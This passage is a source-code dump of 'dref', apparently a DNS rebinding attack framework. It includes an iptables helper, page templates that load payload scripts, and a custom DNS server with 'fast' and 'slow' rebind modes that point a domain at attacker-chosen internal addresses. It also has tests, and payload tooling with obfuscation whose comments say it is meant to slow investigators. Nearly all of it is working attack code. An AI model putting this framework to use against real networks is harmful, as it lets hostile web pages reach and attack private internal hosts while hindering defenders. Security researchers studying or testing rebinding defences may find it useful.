'nat' 19 | }) 20 | 21 | export const Chain = Object.freeze({ 22 | INPUT: 'INPUT', 23 | PREROUTING: 'PREROUTING' 24 | }) 25 | 26 | function getRule ({ table, command, chain, target, fromPort, toPort, srcAddress }) { 27 | fromPort = fromPort || null 28 | toPort = toPort || null 29 | srcAddress = srcAddress || null 30 | 31 | let args = [] 32 | args = args.concat(['-t', table]) 33 | args = args.concat([command, chain]) 34 | args = args.concat(['-p', 'tcp']) 35 | 36 | if (srcAddress) args = args.concat(['--src', srcAddress]) 37 | if (fromPort) args = args.concat(['--dport', fromPort]) 38 | 39 | args = args.concat(['-j', target]) 40 | 41 | if (target === Target.REJECT) args = args.concat(['--reject-with', 'tcp-reset']) 42 | if (toPort) args = args.concat(['--to-port', toPort]) 43 | 44 | return args 45 | } 46 | 47 | function checkRuleExists (args) { 48 | // returns true if the rule with args alreadys exists 49 | return new Promise((resolve, reject) => { 50 | const check = spawn('iptables', args) 51 | 52 | check.on('close', (code) => { 53 | if (code === 1) return resolve(false) 54 | return resolve(true) 55 | }) 56 | }) 57 | } 58 | 59 | export function execute ({ table, command, chain, target, fromPort, toPort, srcAddress } = {}) { 60 | return new Promise((resolve, reject) => { 61 | fromPort = fromPort || null 62 | toPort = toPort || null 63 | srcAddress = srcAddress || null 64 | 65 | checkRuleExists(getRule({ 66 | table: table, 67 | command: Command.CHECK, 68 | chain: chain, 69 | target: target, 70 | fromPort: fromPort, 71 | toPort: toPort, 72 | srcAddress: srcAddress 73 | })).then((exists) => { 74 | if (([Command.APPEND, Command.INSERT].includes(command) && exists) || (command === Command.DELETE && !exists)) { 75 | console.log(`ignoring execute(${table}, ${command}, ${chain}, ${target}, ${fromPort}, ${toPort}, ${srcAddress})`) 76 | resolve(true) 77 | } 78 | 79 | const iptables = spawn('iptables', getRule({ 80 | table: table, 81 | command: command, 82 | chain: chain, 83 | target: target, 84 | fromPort: fromPort, 85 | toPort: toPort, 86 | srcAddress: srcAddress 87 | })) 88 | 89 | iptables.on('close', (code) => { 90 | if (code === 0) { 91 | console.log(`success execute(${table}, ${command}, ${chain}, ${target}, ${fromPort}, ${toPort}, ${srcAddress})`) 92 | resolve(true) 93 | } else { 94 | console.log(`fail execute(${table}, ${command}, ${chain}, ${target}, ${fromPort}, ${toPort}, ${srcAddress})`) 95 | resolve(false) 96 | } 97 | }) 98 | }) 99 | }) 100 | } 101 | -------------------------------------------------------------------------------- /dref/api/src/views/error.pug: -------------------------------------------------------------------------------- 1 | extends layout 2 | 3 | block content 4 | h1= message 5 | h2= error.status 6 | pre #{error.stack} 7 | -------------------------------------------------------------------------------- /dref/api/src/views/index.pug: -------------------------------------------------------------------------------- 1 | extends layout 2 | 3 | block content 4 | script. 5 | var env = !{JSON.stringify(env).replace(/<\//g, '<\\/')} 6 | var args = !{JSON.stringify(args).replace(/<\//g, '<\\/')} 7 | 8 | script(src="/scripts/" + script + ".js") 9 | 10 | if hang 11 | img(style="display:none", src="/hang") 12 | -------------------------------------------------------------------------------- /dref/api/src/views/layout.pug: -------------------------------------------------------------------------------- 1 | doctype html 2 | html 3 | body 4 | block content 5 | -------------------------------------------------------------------------------- /dref/dns/.babelrc: -------------------------------------------------------------------------------- 1 | { 2 | "presets": ["env"] 3 | } 4 | -------------------------------------------------------------------------------- /dref/dns/.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | "extends": "standard", 3 | "env": { 4 | "jest": true, 5 | "jasmine": true 6 | } 7 | }; 8 | -------------------------------------------------------------------------------- /dref/dns/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "dns-server", 3 | "version": "1.0.0", 4 | "private": true, 5 | "main": "dist/server.js", 6 | "scripts": { 7 | "test": "eslint src/**/*.js tests/**/*.js && jest", 8 | "build": "babel src -d dist", 9 | "start": "node dist/server.js", 10 | "dev": "nodemon --legacy-watch --ignore 'dist/*' --exec 'npm run build && node' dist/server.js" 11 | }, 12 | "author": "", 13 | "license": "ISC", 14 | "devDependencies": { 15 | "codecov": "^3.0.2", 16 | "eslint": "^5.0.1", 17 | "eslint-config-standard": "^12.0.0", 18 | "eslint-plugin-import": "^2.12.0", 19 | "eslint-plugin-node": "^7.0.0", 20 | "eslint-plugin-promise": "^4.0.0", 21 | "eslint-plugin-standard": "^4.0.0", 22 | "jest": "^23.1.0", 23 | "mongodb-memory-server": "^2.0.0", 24 | "nodemon": "^1.18.7" 25 | }, 26 | "jest": { 27 | "coverageDirectory": "./coverage/", 28 | "collectCoverage": true, 29 | "testEnvironment": "node" 30 | }, 31 | "dependencies": { 32 | "babel-cli": "^6.26.0", 33 | "babel-jest": "^23.4.0", 34 | "babel-preset-env": "^1.7.0", 35 | "mongoose": "^5.2.11", 36 | "yamljs": "^0.3.0" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /dref/dns/src/dns/answer.js: -------------------------------------------------------------------------------- 1 | export default class DNSAnswer { 2 | constructor (id, qname, qtype, addresses = []) { 3 | /** 4 | * Constructs a DNSAnswer object based on the RFC 5 | * https://tools.ietf.org/html/rfc1035#section-4.1.3 6 | * 7 | * Expects address to be IPv4 string, the rest in integers 8 | */ 9 | 10 | this.id = id 11 | this.qname = qname 12 | this.qtype = qtype 13 | this.addresses = addresses 14 | } 15 | 16 | toBuffer () { 17 | /** 18 | * Returns a Buffer representation of this DNSAnswer 19 | */ 20 | 21 | const header = this._getHeaderBuffer() 22 | const question = this._getQuestionBuffer() 23 | 24 | if (this.addresses.length) { 25 | return Buffer.concat([header, question, this._getAnswerBuffer()]) 26 | } else { 27 | return Buffer.concat([header, question]) 28 | } 29 | } 30 | 31 | _getHeaderBuffer () { 32 | /** 33 | * Return a buffer of the DNSAnswer header 34 | */ 35 | const header = Buffer.alloc(12) 36 | 37 | // id 38 | header.writeUInt16BE(this.id, 0) 39 | 40 | /** 41 | * cf. RFC: https://tools.ietf.org/html/rfc1035#section-4.1.1 42 | * 43 | * byte_2 is 0 1 2 3 4 5 6 7 44 | * |QR| Opcode |AA|TC|RD| 45 | * 1 0 0 0 0 1 0 0 46 | * 47 | * qr=1, opcode=0, aa=1, tc=0, rd=0 48 | * 49 | * which gives us 0x84 50 | */ 51 | header.writeUInt8(0x84, 2) 52 | 53 | /** 54 | * cf. RFC: https://tools.ietf.org/html/rfc1035#section-4.1.1 55 | * 56 | * byte_3 is 0 1 2 3 4 5 6 7 57 | * |RA| Z | RCODE | 58 | * 59 | * ra=0, z=0, rcode=0 or 1 60 | * 61 | * which gives us 0x00 for normal answer and 0x01 for error 62 | */ 63 | if (this.addresses.length) header.writeUInt8(0x00, 3) 64 | else header.writeUInt8(0x04, 3) 65 | 66 | // qdcount 67 | header.writeUInt16BE(0x01, 4) 68 | // ancount 69 | header.writeUInt16BE(1 * this.addresses.length, 6) 70 | // nscount 71 | header.writeUInt16BE(0x00, 8) 72 | // arcount 73 | header.writeUInt16BE(0x00, 10) 74 | 75 | return header 76 | } 77 | 78 | _getQuestionBuffer () { 79 | /** 80 | * Return a buffer of the DNSAnswer question 81 | */ 82 | const qnameLabels = this.qname.split('.') 83 | // questionSize is: 84 | // - the number of labels (one byte for each label length) 85 | // - the aggregated length of the labels 86 | // - 1 byte for the null terminator 87 | // - 4 bytes total for qtype and qclass 88 | const questionSize = qnameLabels.length + qnameLabels.join('').length + 5 89 | const question = Buffer.alloc(questionSize) 90 | 91 | // qname 92 | let offset = 0 93 | for (let i in qnameLabels) { 94 | question.writeUInt8(qnameLabels[i].length, offset) 95 | question.write(qnameLabels[i], offset + 1) 96 | offset += qnameLabels[i].length + 1 97 | } 98 | question.writeUInt8(0x00, offset) 99 | 100 | // qtype 101 | question.writeUInt16BE(this.qtype, offset + 1) 102 | // qclass 103 | question.writeUInt16BE(1, offset + 3) 104 | 105 | return question 106 | } 107 | 108 | _getAnswerBuffer () { 109 | /** 110 | * Return a buffer of the DNSAnswer answer section 111 | */ 112 | // record size is: 113 | // - 2 byte name pointer 114 | // - 2 byte type 115 | // - 2 byte class 116 | // - 4 byte ttl 117 | // - 2 byte rdlength 118 | // - 4 byte rdata for an A record 119 | 120 | // allocate 16 bytes for each record 121 | const answer = Buffer.alloc(16 * this.addresses.length) 122 | 123 | for (let i = 0; i < this.addresses.length; i++) { 124 | // name - pointer will always be 0xc00c (the first byte of the question) 125 | answer.writeUInt16BE(0xc00c, 0 + 16 * i) 126 | // type 127 | answer.writeUInt16BE(1, 2 + 16 * i) 128 | // class - always IN 129 | answer.writeUInt16BE(1, 4 + 16 * i) 130 | // ttl 131 | answer.writeUInt32BE(1, 6 + 16 * i) 132 | // rdlength - always 4 for A record 133 | answer.writeUInt16BE(4, 10 + 16 * i) 134 | // rdata 135 | const addressInts = this.addresses[i].split('.') 136 | for (let j = 0; j < addressInts.length; j++) { 137 | answer.writeUInt8(addressInts[j], 12 + j + 16 * i) 138 | } 139 | } 140 | 141 | return answer 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /dref/dns/src/dns/handler.js: -------------------------------------------------------------------------------- 1 | import DNSQuestion from './question' 2 | import DNSAnswer from './answer' 3 | import ARecord from '../models/ARecord' 4 | 5 | export default class DNSHandler { 6 | query (data, rinfo) { 7 | return new Promise((resolve, reject) => { 8 | let query 9 | try { 10 | query = new DNSQuestion(data) 11 | } catch (err) { 12 | console.log(`parsing error: ${rinfo.address}:${rinfo.port}`) 13 | resolve(null) 14 | } 15 | 16 | console.log(`question: ${rinfo.address}:${rinfo.port} - ${JSON.stringify(query)}`) 17 | 18 | if (query.qtype !== 1) { 19 | // empty response to other queries 20 | resolve(new DNSAnswer(query.id, query.qname, query.qtype)) 21 | } 22 | 23 | // A query (qtype === 1) 24 | this._lookup(query.qname.toLowerCase()).then(record => { 25 | let addresses = [] 26 | 27 | if (record) { 28 | if (record.dual) { 29 | // return both the target address and the default address when using 30 | // dual A record mode ("fast rebind") 31 | addresses.push(global.config.general.address) 32 | addresses.push(record.address) 33 | } else if (record.rebind) { 34 | // "slow rebind" uses a single A record after payload-defined 35 | // trigger 36 | addresses.push(record.address) 37 | } else { 38 | // if there's a record for this target but we're not using fast 39 | // rebind and we've not received a trigger for slow rebind 40 | // we just dish out the default 41 | addresses.push(global.config.general.address) 42 | } 43 | } else if (query.qname.endsWith(global.config.general.domain)) { 44 | addresses.push(global.config.general.address) 45 | } 46 | 47 | resolve(new DNSAnswer(query.id, query.qname, query.qtype, addresses)) 48 | }) 49 | }) 50 | } 51 | 52 | _lookup (domain) { 53 | return new Promise((resolve) => { 54 | ARecord.findOne({ domain: domain }, (err, record) => { 55 | if (err || record === null) resolve(null) 56 | resolve(record) 57 | }) 58 | }) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /dref/dns/src/dns/question.js: -------------------------------------------------------------------------------- 1 | export default class DNSQuestion { 2 | constructor (data) { 3 | /** 4 | * Constructs a DNSQuestion object based on the RFC 5 | * https://tools.ietf.org/html/rfc1035#section-4.1.2 6 | * 7 | * Expects data to be a Buffer 8 | */ 9 | 10 | this.id = data.readUInt16BE(0) 11 | 12 | // get the qname 13 | const qnameLabels = [] 14 | let offset = 12 15 | 16 | do { 17 | // get the length octet 18 | let _length = data.readInt8(offset) 19 | qnameLabels.push(data.toString('utf8', offset + 1, offset + 1 + _length)) 20 | offset += _length + 1 21 | } 22 | while (data.readInt8(offset) !== 0) 23 | 24 | this.qname = qnameLabels.join('.') 25 | // get qtype and qclass, using offset which is now on the qname null terminator 26 | this.qtype = data.readInt16BE(offset + 1) 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /dref/dns/src/models/ARecord.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | 3 | var ARecordSchema = new mongoose.Schema({ 4 | domain: { 5 | type: String, 6 | required: true, 7 | unique: true 8 | }, 9 | address: { 10 | type: String, 11 | default: '127.0.0.1' 12 | }, 13 | rebind: { 14 | type: Boolean, 15 | default: false 16 | }, 17 | // a dual entry will return two A records: the arecord.address above and the 18 | // server's default address 19 | dual: { 20 | type: Boolean, 21 | default: false 22 | } 23 | }) 24 | 25 | export default mongoose.model('ARecord', ARecordSchema) 26 | -------------------------------------------------------------------------------- /dref/dns/src/server.js: -------------------------------------------------------------------------------- 1 | import { createSocket } from 'dgram' 2 | import YAML from 'yamljs' 3 | import mongoose from 'mongoose' 4 | import DNSHandler from './dns/handler' 5 | 6 | /** 7 | * Load Config 8 | */ 9 | global.config = YAML.load('/tmp/dref-config.yml') 10 | 11 | /** 12 | * Connect to MongoDB 13 | */ 14 | mongoose.connect('mongodb://mongo:27017/dref') 15 | 16 | /** 17 | * Set up Service 18 | */ 19 | const server = createSocket('udp4') 20 | const handler = new DNSHandler() 21 | 22 | server.on('message', (data, rinfo) => { 23 | handler.query(data, rinfo).then(answer => { 24 | if (!answer) return 25 | const answerBuffer = answer.toBuffer() 26 | 27 | server.send(answerBuffer, 0, answerBuffer.length, rinfo.port, rinfo.address, () => { 28 | console.log(`answer: ${rinfo.address}:${rinfo.port} - ${JSON.stringify(answer)}`) 29 | }) 30 | }) 31 | }) 32 | 33 | server.on('error', (err) => { 34 | console.log(`server error: ${err.stack}`) 35 | }) 36 | 37 | server.on('listening', () => { 38 | const address = server.address() 39 | console.log(`server listening: ${address.address}:${address.port}`) 40 | }) 41 | 42 | server.bind(53) 43 | -------------------------------------------------------------------------------- /dref/dns/tests/dns/answer.test.js: -------------------------------------------------------------------------------- 1 | import DNSAnswer from '../../src/dns/answer' 2 | 3 | test('creates DNS answer', () => { 4 | const answer = new DNSAnswer(0xabab, 'test.random.co.uk', 1, ['192.168.1.1']) 5 | 6 | expect(answer.id).toEqual(0xabab) 7 | expect(answer.qname).toEqual('test.random.co.uk') 8 | expect(answer.qtype).toEqual(1) 9 | expect(answer.addresses).toEqual(['192.168.1.1']) 10 | }) 11 | 12 | test('creates header Buffer with ancount "1" when address present', () => { 13 | const answer = new DNSAnswer(0xabab, 'test.random.co.uk', 1, ['192.168.1.1']) 14 | 15 | const expectedBuffer = Buffer.from([ 16 | 0xab, 0xab, // id 17 | 0x84, // qr, opcode, aa, tc, rd 18 | 0x00, // ra, z, rcode 19 | 0x00, 0x01, // qdcount 20 | 0x00, 0x01, // ancount 21 | 0x00, 0x00, // nscount 22 | 0x00, 0x00 // arcount 23 | ]) 24 | 25 | expect(answer._getHeaderBuffer()).toEqual(expectedBuffer) 26 | }) 27 | 28 | test('creates header Buffer with rcode "not implemented" and ancode "0" when no address present', () => { 29 | const answer = new DNSAnswer(0xabab, 'test.random.co.uk', 1) 30 | 31 | const expectedBuffer = Buffer.from([ 32 | 0xab, 0xab, // id 33 | 0x84, // qr, opcode, aa, tc, rd 34 | 0x04, // ra, z, rcode 35 | 0x00, 0x01, // qdcount 36 | 0x00, 0x00, // ancount 37 | 0x00, 0x00, // nscount 38 | 0x00, 0x00 // arcount 39 | ]) 40 | 41 | expect(answer._getHeaderBuffer()).toEqual(expectedBuffer) 42 | }) 43 | 44 | test('creates question Buffer with constructor params', () => { 45 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 2) 46 | 47 | const expectedBuffer = Buffer.from([ 48 | 0x01, 0x78, 0x03, 0x61, 0x62, 0x63, 0x03, 0x63, 0x6f, 0x6d, 0x00, // qname 49 | 0x00, 0x02, // qtype 50 | 0x00, 0x01 // qclass 51 | ]) 52 | 53 | expect(answer._getQuestionBuffer()).toEqual(expectedBuffer) 54 | }) 55 | 56 | test('creates answer Buffer with constructor params', () => { 57 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 1, ['255.255.255.255']) 58 | 59 | const expectedBuffer = Buffer.from([ 60 | 0xc0, 0x0c, // name pointer to first byte of question 61 | 0x00, 0x01, // type 62 | 0x00, 0x01, // class 63 | 0x00, 0x00, 0x00, 0x01, // ttl 64 | 0x00, 0x04, // rdlength 65 | 0xff, 0xff, 0xff, 0xff // rdata 66 | ]) 67 | 68 | expect(answer._getAnswerBuffer()).toEqual(expectedBuffer) 69 | }) 70 | 71 | test('creates Buffer with answer', () => { 72 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 1, ['255.255.255.255']) 73 | 74 | const expectedBuffer = Buffer.from([ 75 | // header 76 | 0xab, 0xab, // id 77 | 0x84, // qr, opcode, aa, tc, rd 78 | 0x00, // ra, z, rcode 79 | 0x00, 0x01, // qdcount 80 | 0x00, 0x01, // ancount 81 | 0x00, 0x00, // nscount 82 | 0x00, 0x00, // arcount 83 | // question 84 | 0x01, 0x78, 0x03, 0x61, 0x62, 0x63, 0x03, 0x63, 0x6f, 0x6d, 0x00, // qname 85 | 0x00, 0x01, // qtype 86 | 0x00, 0x01, // qclass 87 | // answer 88 | 0xc0, 0x0c, // name pointer to first byte of question 89 | 0x00, 0x01, // type 90 | 0x00, 0x01, // class 91 | 0x00, 0x00, 0x00, 0x01, // ttl 92 | 0x00, 0x04, // rdlength 93 | 0xff, 0xff, 0xff, 0xff // rdata 94 | ]) 95 | 96 | expect(answer.toBuffer()).toEqual(expectedBuffer) 97 | }) 98 | 99 | test('creates Buffer without answer', () => { 100 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 1) 101 | 102 | const expectedBuffer = Buffer.from([ 103 | // header 104 | 0xab, 0xab, // id 105 | 0x84, // qr, opcode, aa, tc, rd 106 | 0x04, // ra, z, rcode 107 | 0x00, 0x01, // qdcount 108 | 0x00, 0x00, // ancount 109 | 0x00, 0x00, // nscount 110 | 0x00, 0x00, // arcount 111 | // question 112 | 0x01, 0x78, 0x03, 0x61, 0x62, 0x63, 0x03, 0x63, 0x6f, 0x6d, 0x00, // qname 113 | 0x00, 0x01, // qtype 114 | 0x00, 0x01 // qclass 115 | ]) 116 | 117 | expect(answer.toBuffer()).toEqual(expectedBuffer) 118 | }) 119 | -------------------------------------------------------------------------------- /dref/dns/tests/dns/handler.test.js: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose' 2 | import MongodbMemoryServer from 'mongodb-memory-server' 3 | import ARecord from '../../src/models/ARecord' 4 | import DNSHandler from '../../src/dns/handler' 5 | 6 | jasmine.DEFAULT_TIMEOUT_INTERVAL = 60000 7 | 8 | let mongoServer 9 | 10 | beforeAll(async () => { 11 | mongoServer = new MongodbMemoryServer() 12 | const mongoUri = await mongoServer.getConnectionString() 13 | await mongoose.connect(mongoUri, {}, (err) => { 14 | if (err) console.error(err) 15 | }) 16 | await ARecord.create({ domain: 'x.hello.com', address: '1.2.3.4', rebind: 'false' }) 17 | await ARecord.create({ domain: 'y.hello.com', address: '1.2.3.4', rebind: 'true' }) 18 | await ARecord.create({ domain: 'z.hello.com', address: '1.2.3.4', rebind: 'true', dual: 'true' }) 19 | }) 20 | 21 | afterAll(() => { 22 | mongoose.disconnect() 23 | mongoServer.stop() 24 | }) 25 | 26 | test('returns answer with address for A record of default domain', async () => { 27 | global.config = { general: { domain: 'helloworld.com', address: '10.0.0.1' } } 28 | const handler = new DNSHandler() 29 | const rinfo = { address: '127.0.0.1', port: '1234' } 30 | // $ dig a helloworld.com @localhost 31 | const queryData = Buffer.from([ 32 | 0xed, 0x0f, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 33 | 0x0a, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x03, 34 | 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 36 | ]) 37 | 38 | await handler.query(queryData, rinfo).then(answer => { 39 | expect(answer.addresses).toBeTruthy() 40 | }) 41 | }) 42 | 43 | test('returns answer without address for A record of unknown domain', async () => { 44 | // $ dig a helloworld.com @localhost 45 | global.config = { general: { domain: 'domain.example', address: '10.0.0.1' } } 46 | const handler = new DNSHandler() 47 | const rinfo = { address: '127.0.0.1', port: '1234' } 48 | const queryData = Buffer.from([ 49 | 0xed, 0x0f, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 50 | 0x0a, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x03, 51 | 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 53 | ]) 54 | 55 | await handler.query(queryData, rinfo).then(answer => { 56 | expect(answer.addresses.length).toEqual(0) 57 | }) 58 | }) 59 | 60 | test('returns answer without address for non-A record', async () => { 61 | // $ dig a helloworld.com @localhost 62 | global.config = { general: { domain: 'domain.example', address: '10.0.0.1' } } 63 | const handler = new DNSHandler() 64 | const rinfo = { address: '127.0.0.1', port: '1234' } 65 | const queryData = Buffer.from([ 66 | 0xed, 0x0f, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 67 | 0x0a, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x03, 68 | 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 70 | ]) 71 | 72 | await handler.query(queryData, rinfo).then(answer => { 73 | expect(answer.addresses.length).toEqual(0) 74 | }) 75 | }) 76 | 77 | test('returns null on parsing error', async () => { 78 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } } 79 | const handler = new DNSHandler() 80 | const rinfo = { address: '127.0.0.1', port: '1234' } 81 | const queryData = Buffer.from([0x00]) 82 | 83 | await handler.query(queryData, rinfo).then(answer => { 84 | expect(answer).toBeNull() 85 | }) 86 | }) 87 | 88 | test('_lookup() returns a known record', async () => { 89 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } } 90 | 91 | await (new DNSHandler())._lookup('x.hello.com').then(record => { 92 | expect(record).toMatchObject({ 93 | domain: 'x.hello.com', 94 | address: '1.2.3.4', 95 | rebind: false 96 | }) 97 | }) 98 | }) 99 | 100 | test('_lookup() returns null for unknown record', async () => { 101 | await (new DNSHandler())._lookup('unknown.host').then(address => { 102 | expect(address).toBeNull() 103 | }) 104 | }) 105 | 106 | test('returns answer with default address for A record when no rebind', async () => { 107 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } } 108 | const handler = new DNSHandler() 109 | const rinfo = { address: '127.0.0.1', port: '1234' } 110 | // $ dig a x.hello.com @localhost 111 | const queryData = Buffer.from([ 112 | 0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 113 | 0x01, 0x78, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d, 114 | 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00, 115 | 0x00, 0x00, 0x00, 0x00 116 | ]) 117 | 118 | await handler.query(queryData, rinfo).then(answer => { 119 | expect(answer.addresses).toEqual(['10.0.0.1']) 120 | }) 121 | }) 122 | 123 | test('returns answer with defined address for A record when rebind', async () => { 124 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } } 125 | const handler = new DNSHandler() 126 | const rinfo = { address: '127.0.0.1', port: '1234' } 127 | // $ dig a y.hello.com @localhost 128 | const queryData = Buffer.from([ 129 | 0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 130 | 0x01, 0x79, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d, 131 | 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00, 132 | 0x00, 0x00, 0x00, 0x00 133 | ]) 134 | 135 | await handler.query(queryData, rinfo).then(answer => { 136 | expect(answer.addresses).toEqual(['1.2.3.4']) 137 | }) 138 | }) 139 | 140 | test('returns answer with two addresses for dual record', async () => { 141 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } } 142 | const handler = new DNSHandler() 143 | const rinfo = { address: '127.0.0.1', port: '1234' } 144 | // $ dig a z.hello.com @localhost 145 | const queryData = Buffer.from([ 146 | 0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 147 | 0x01, 0x7a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d, 148 | 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00, 149 | 0x00, 0x00, 0x00, 0x00 150 | ]) 151 | 152 | await handler.query(queryData, rinfo).then(answer => { 153 | expect(answer.addresses).toEqual(['10.0.0.1', '1.2.3.4']) 154 | }) 155 | }) 156 | -------------------------------------------------------------------------------- /dref/dns/tests/dns/question.test.js: -------------------------------------------------------------------------------- 1 | import DNSQuestion from '../../src/dns/question' 2 | 3 | test('parses DNS A record', () => { 4 | const bufferARecord = Buffer.from([ 5 | 0xb9, 0x36, 0x84, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 6 | 0x06, 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x02, 0x63, 0x6f, 0x02, 0x75, 7 | 0x6b, 0x00, 0x00, 0x01, 0x00, 0x01, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01, 8 | 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0xc0, 0xa8, 0x01, 0x01]) 9 | 10 | const question = new DNSQuestion(bufferARecord) 11 | 12 | expect(question.id).toEqual(0xb936) 13 | expect(question.qname).toEqual('random.co.uk') 14 | expect(question.qtype).toEqual(1) 15 | }) 16 | 17 | test('parses DNS NS record', () => { 18 | const bufferNSRecord = Buffer.from([ 19 | 0x33, 0xc9, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 20 | 0x06, 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x02, 0x63, 0x6f, 0x02, 0x75, 21 | 0x6b, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00]) 23 | 24 | const question = new DNSQuestion(bufferNSRecord) 25 | 26 | expect(question.id).toEqual(0x33c9) 27 | expect(question.qname).toEqual('random.co.uk') 28 | expect(question.qtype).toEqual(2) 29 | }) 30 | -------------------------------------------------------------------------------- /dref/scripts/.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | "extends": "standard", 3 | "env": { 4 | "browser": 1 5 | } 6 | }; 7 | -------------------------------------------------------------------------------- /dref/scripts/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "payload", 3 | "version": "1.0.0", 4 | "private": true, 5 | "main": "index.js", 6 | "scripts": { 7 | "dev": "webpack-dev-server --progress --mode development --display-error-details" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "devDependencies": { 13 | "eslint": "^5.0.1", 14 | "eslint-config-standard": "^12.0.0", 15 | "eslint-loader": "^2.0.0", 16 | "eslint-plugin-import": "^2.11.0", 17 | "eslint-plugin-node": "^7.0.0", 18 | "eslint-plugin-promise": "^4.0.0", 19 | "eslint-plugin-standard": "^4.0.0", 20 | "webpack": "^4.8.3", 21 | "webpack-cli": "^3.0.8", 22 | "webpack-dev-server": "^3.1.4", 23 | "webpack-obfuscator": "^0.18.0", 24 | "webpack-watched-glob-entries-plugin": "^2.1.2" 25 | }, 26 | "dependencies": { 27 | "ip-cidr": "^2.0.0", 28 | "netmap.js": "^1.0.0" 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /dref/scripts/src/libs/crypto.js: -------------------------------------------------------------------------------- 1 | /** 2 | * This is _NOT_ intended to enable secure transmission of data. 3 | * This is _NOT_ intended to be secure cryptography. 4 | * This is just some obfuscation. 5 | * 6 | * It's only intended to very slightly slow down someone investigating the 7 | * network traffic. 8 | * 9 | * In the future this will be improved and obfuscation of the JavaScript 10 | * payloads will slow down investigative efforts some more. 11 | * 12 | * Obfuscation is only really a concern for potential use in Red Team exercises. 13 | */ 14 | 15 | export const staticKey = 'eea46dfa5dead1bbc1d6d5c9' 16 | 17 | export function randomHex (n) { 18 | var id = '' 19 | var range = '0123456789abcdef' 20 | 21 | for (var i = 0; i < n; i++) { 22 | id += range.charAt(Math.floor(Math.random() * range.length)) 23 | } 24 | 25 | return id 26 | } 27 | 28 | // https://stackoverflow.com/questions/30651062/how-to-use-the-xor-on-two-strings 29 | export function xor (a, b) { 30 | // xor two hex strings 31 | var res = '' 32 | var i = a.length 33 | var j = b.length 34 | 35 | while (i-- > 0 && j-- > 0) { 36 | res = (parseInt(a.charAt(i), 16) ^ parseInt(b.charAt(j), 16)).toString(16) + res 37 | } 38 | 39 | return res 40 | } 41 | 42 | // https://gist.github.com/salipro4ever/e234addf92eb80f1858f 43 | export function rc4 (key, str) { 44 | var s = [] 45 | var j = 0 46 | var x 47 | var res = '' 48 | 49 | for (var i = 0; i < 256; i++) { 50 | s[i] = i 51 | } 52 | 53 | for (i = 0; i < 256; i++) { 54 | j = (j + s[i] + key.charCodeAt(i % key.length)) % 256 55 | x = s[i] 56 | s[i] = s[j] 57 | s[j] = x 58 | } 59 | 60 | i = 0 61 | j = 0 62 | 63 | for (var y = 0; y < str.length; y++) { 64 | i = (i + 1) % 256 65 | j = (j + s[i]) % 256 66 | x = s[i] 67 | s[i] = s[j] 68 